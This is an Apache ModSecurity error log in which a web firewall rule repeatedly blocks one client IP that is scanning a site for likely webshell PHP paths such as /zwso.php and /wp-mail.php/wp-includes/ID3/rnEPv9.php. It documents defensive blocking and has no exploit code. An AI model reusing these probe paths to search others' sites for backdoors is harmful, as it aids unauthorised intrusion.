[Thu Dec 18 21:45:12.893415 2025] [:error] [pid 24958:tid 24969] [client 4.196.84.157:31858] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new.php"] [unique_id "aUQFaMkDOrUkd0wNm2HUKQAAAYg"]
[Thu Dec 18 21:45:13.346937 2025] [:error] [pid 24542:tid 24545] [client 4.196.84.157:17624] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new.php"] [unique_id "aUQFaUtQz4H2oS3NrDYolgAAAUE"]
[Thu Dec 18 21:45:13.534829 2025] [:error] [pid 24958:tid 24961] [client 4.196.84.157:31814] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new.php"] [unique_id "aUQFackDOrUkd0wNm2HUKgAAAYA"]
[Thu Dec 18 21:45:13.820782 2025] [:error] [pid 24958:tid 24985] [client 4.196.84.157:18651] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new.php"] [unique_id "aUQFackDOrUkd0wNm2HUKwAAAZg"]
[Thu Dec 18 21:45:14.466023 2025] [:error] [pid 24542:tid 24546] [client 4.196.84.157:17623] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aUQFaktQz4H2oS3NrDYomAAAAUI"]
[Thu Dec 18 21:45:14.817263 2025] [:error] [pid 24542:tid 24567] [client 4.196.84.157:24179] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aUQFaktQz4H2oS3NrDYomQAAAVc"]
[Thu Dec 18 21:45:14.950148 2025] [:error] [pid 25357:tid 25362] [client 4.196.84.157:24618] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aUQFaoaT7bsEXnJVfJdzJwAAAcM"]
[Thu Dec 18 21:45:15.276996 2025] [:error] [pid 12239:tid 12257] [client 4.196.84.157:24135] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aUQFa9NnXxfGIuWO6aki6wAAAo0"]
[Thu Dec 18 21:45:15.549405 2025] [:error] [pid 12239:tid 12264] [client 4.196.84.157:17607] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/png.php"] [unique_id "aUQFa9NnXxfGIuWO6aki7AAAApQ"]
[Thu Dec 18 21:45:16.115920 2025] [:error] [pid 25357:tid 25375] [client 4.196.84.157:24144] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/png.php"] [unique_id "aUQFbIaT7bsEXnJVfJdzKgAAAdA"]
[Thu Dec 18 21:45:16.624999 2025] [:error] [pid 25357:tid 25366] [client 4.196.84.157:14520] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/png.php"] [unique_id "aUQFbIaT7bsEXnJVfJdzKwAAAcc"]
[Thu Dec 18 21:45:17.445988 2025] [:error] [pid 12035:tid 12047] [client 4.196.84.157:17601] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/png.php"] [unique_id "aUQFbbcVHrNSHjCo-0qezwAAAgU"]
[Thu Dec 18 21:45:18.116509 2025] [:error] [pid 24958:tid 24975] [client 4.196.84.157:24809] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/log.php"] [unique_id "aUQFbskDOrUkd0wNm2HULQAAAY4"]
[Thu Dec 18 21:45:18.300017 2025] [:error] [pid 12383:tid 12410] [client 4.196.84.157:31826] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/log.php"] [unique_id "aUQFbvdgllo9h1cyxGbNOQAAAtg"]
[Thu Dec 18 21:45:18.483459 2025] [:error] [pid 12383:tid 12386] [client 4.196.84.157:24589] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/log.php"] [unique_id "aUQFbvdgllo9h1cyxGbNOgAAAsA"]
[Thu Dec 18 21:45:18.604372 2025] [:error] [pid 12239:tid 12245] [client 4.196.84.157:18653] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/log.php"] [unique_id "aUQFbtNnXxfGIuWO6aki7wAAAoE"]
[Thu Dec 18 21:45:19.011532 2025] [:error] [pid 12239:tid 12247] [client 4.196.84.157:14903] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zwso.php"] [unique_id "aUQFb9NnXxfGIuWO6aki-gAAAoM"]
[Thu Dec 18 21:45:19.918685 2025] [:error] [pid 23558:tid 23637] [client 4.196.84.157:14479] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zwso.php"] [unique_id "aUQFb-Ham9NbgPQa9uYuGAAAANY"]
[Thu Dec 18 21:45:20.218320 2025] [:error] [pid 23645:tid 23659] [client 4.196.84.157:14855] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zwso.php"] [unique_id "aUQFcDf_Rx0Y0ao_QJhlfwAAAIw"]
[Thu Dec 18 21:45:20.540973 2025] [:error] [pid 24958:tid 24976] [client 4.196.84.157:18241] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zwso.php"] [unique_id "aUQFcMkDOrUkd0wNm2HUMQAAAY8"]
[Thu Dec 18 21:45:20.692587 2025] [:error] [pid 24433:tid 24449] [client 4.196.84.157:31870] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about3.php"] [unique_id "aUQFcJ4pN9ycmipm8TjhqgAAAQ0"]
[Thu Dec 18 21:45:20.983162 2025] [:error] [pid 12035:tid 12060] [client 4.196.84.157:17638] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about3.php"] [unique_id "aUQFcLcVHrNSHjCo-0qe0QAAAhE"]
[Thu Dec 18 21:45:21.310113 2025] [:error] [pid 12035:tid 12048] [client 4.196.84.157:23003] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about3.php"] [unique_id "aUQFcbcVHrNSHjCo-0qe0wAAAgY"]
[Thu Dec 18 21:45:21.452358 2025] [:error] [pid 24542:tid 24544] [client 4.196.84.157:24178] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about3.php"] [unique_id "aUQFcUtQz4H2oS3NrDYonwAAAUA"]
[Thu Dec 18 21:45:21.644154 2025] [:error] [pid 23558:tid 23626] [client 4.196.84.157:14480] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "aUQFceHam9NbgPQa9uYuHAAAAMs"]
[Thu Dec 18 21:45:22.048619 2025] [:error] [pid 23645:tid 23668] [client 4.196.84.157:24631] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "aUQFcjf_Rx0Y0ao_QJhlgQAAAJU"]
[Thu Dec 18 21:45:22.363072 2025] [:error] [pid 12383:tid 12405] [client 4.196.84.157:14719] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "aUQFcvdgllo9h1cyxGbNPAAAAtM"]
[Thu Dec 18 21:45:23.094993 2025] [:error] [pid 23556:tid 23579] [client 4.196.84.157:14686] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "aUQFcxnmLlk3u5yt9kHwjgAAABM"]
[Thu Dec 18 21:45:23.449460 2025] [:error] [pid 23558:tid 23639] [client 4.196.84.157:1434] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r4f_1.php"] [unique_id "aUQFc-Ham9NbgPQa9uYuHgAAANg"]
[Thu Dec 18 21:45:23.753165 2025] [:error] [pid 24958:tid 24983] [client 4.196.84.157:14466] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r4f_1.php"] [unique_id "aUQFc8kDOrUkd0wNm2HUMwAAAZY"]
[Thu Dec 18 21:45:24.136349 2025] [:error] [pid 24958:tid 24984] [client 4.196.84.157:14484] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r4f_1.php"] [unique_id "aUQFdMkDOrUkd0wNm2HUNAAAAZc"]
[Thu Dec 18 21:45:24.473807 2025] [:error] [pid 23645:tid 23652] [client 4.196.84.157:1435] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r4f_1.php"] [unique_id "aUQFdDf_Rx0Y0ao_QJhlhAAAAIU"]
[Thu Dec 18 21:45:24.705063 2025] [:error] [pid 24542:tid 24545] [client 4.196.84.157:22983] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ftp.php"] [unique_id "aUQFdEtQz4H2oS3NrDYooQAAAUE"]
[Thu Dec 18 21:45:25.381013 2025] [:error] [pid 25357:tid 25382] [client 4.196.84.157:31815] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ftp.php"] [unique_id "aUQFdYaT7bsEXnJVfJdzLgAAAdc"]
[Thu Dec 18 21:45:25.860766 2025] [:error] [pid 23556:tid 23572] [client 4.196.84.157:17603] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ftp.php"] [unique_id "aUQFdRnmLlk3u5yt9kHwkgAAAAw"]
[Thu Dec 18 21:45:26.125870 2025] [:error] [pid 23556:tid 23566] [client 4.196.84.157:29575] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ftp.php"] [unique_id "aUQFdhnmLlk3u5yt9kHwkwAAAAY"]
[Thu Dec 18 21:45:26.244979 2025] [:error] [pid 24542:tid 24568] [client 4.196.84.157:14491] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/content.php"] [unique_id "aUQFdktQz4H2oS3NrDYopwAAAVg"]
[Thu Dec 18 21:45:26.671860 2025] [:error] [pid 25357:tid 25360] [client 4.196.84.157:24628] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/content.php"] [unique_id "aUQFdoaT7bsEXnJVfJdzLwAAAcE"]
[Thu Dec 18 21:45:26.847768 2025] [:error] [pid 23645:tid 23654] [client 4.196.84.157:13393] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/content.php"] [unique_id "aUQFdjf_Rx0Y0ao_QJhlhgAAAIc"]
[Thu Dec 18 21:45:27.089443 2025] [:error] [pid 23556:tid 23580] [client 4.196.84.157:1408] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/content.php"] [unique_id "aUQFdxnmLlk3u5yt9kHwlQAAABQ"]
[Thu Dec 18 21:45:27.404073 2025] [:error] [pid 23556:tid 23577] [client 4.196.84.157:31836] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ext.php"] [unique_id "aUQFdxnmLlk3u5yt9kHwlgAAABE"]
[Thu Dec 18 21:45:27.559419 2025] [:error] [pid 12383:tid 12387] [client 4.196.84.157:29574] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ext.php"] [unique_id "aUQFd_dgllo9h1cyxGbNQAAAAsE"]
[Thu Dec 18 21:45:28.893494 2025] [:error] [pid 12383:tid 12398] [client 4.196.84.157:24661] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ext.php"] [unique_id "aUQFePdgllo9h1cyxGbNQgAAAsw"]
[Thu Dec 18 21:45:29.586033 2025] [:error] [pid 12383:tid 12392] [client 4.196.84.157:14699] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ext.php"] [unique_id "aUQFefdgllo9h1cyxGbNQwAAAsY"]
[Thu Dec 18 21:45:29.925832 2025] [:error] [pid 23645:tid 23648] [client 4.196.84.157:14493] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/himu.php"] [unique_id "aUQFeTf_Rx0Y0ao_QJhliQAAAIE"]
[Thu Dec 18 21:45:30.133058 2025] [:error] [pid 23558:tid 23638] [client 4.196.84.157:29580] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/himu.php"] [unique_id "aUQFeuHam9NbgPQa9uYuIwAAANc"]
[Thu Dec 18 21:45:30.620161 2025] [:error] [pid 23645:tid 23656] [client 4.196.84.157:17119] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/himu.php"] [unique_id "aUQFejf_Rx0Y0ao_QJhligAAAIk"]
[Thu Dec 18 21:45:30.778012 2025] [:error] [pid 12383:tid 12407] [client 4.196.84.157:23004] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/himu.php"] [unique_id "aUQFevdgllo9h1cyxGbNRAAAAtU"]
[Thu Dec 18 21:45:31.007500 2025] [:error] [pid 24958:tid 24981] [client 4.196.84.157:24636] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wfile.php"] [unique_id "aUQFe8kDOrUkd0wNm2HUOAAAAZQ"]
[Thu Dec 18 21:45:31.963198 2025] [:error] [pid 23558:tid 23634] [client 4.196.84.157:14690] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wfile.php"] [unique_id "aUQFe-Ham9NbgPQa9uYuJwAAANM"]
[Thu Dec 18 21:45:32.219579 2025] [:error] [pid 12239:tid 12262] [client 4.196.84.157:22997] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wfile.php"] [unique_id "aUQFfNNnXxfGIuWO6akjAwAAApI"]
[Thu Dec 18 21:45:32.598109 2025] [:error] [pid 25357:tid 25364] [client 4.196.84.157:1429] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wfile.php"] [unique_id "aUQFfIaT7bsEXnJVfJdzMQAAAcU"]
[Thu Dec 18 21:45:32.824423 2025] [:error] [pid 23558:tid 23619] [client 4.196.84.157:24591] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pp.php"] [unique_id "aUQFfOHam9NbgPQa9uYuKQAAAMQ"]
[Thu Dec 18 21:45:33.508920 2025] [:error] [pid 12035:tid 12055] [client 4.196.84.157:29591] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pp.php"] [unique_id "aUQFfbcVHrNSHjCo-0qe1gAAAgw"]
[Thu Dec 18 21:45:33.829412 2025] [:error] [pid 23558:tid 23616] [client 4.196.84.157:24570] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pp.php"] [unique_id "aUQFfeHam9NbgPQa9uYuLgAAAME"]
[Thu Dec 18 21:45:34.369410 2025] [:error] [pid 25357:tid 25369] [client 4.196.84.157:24132] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pp.php"] [unique_id "aUQFfoaT7bsEXnJVfJdzMwAAAco"]
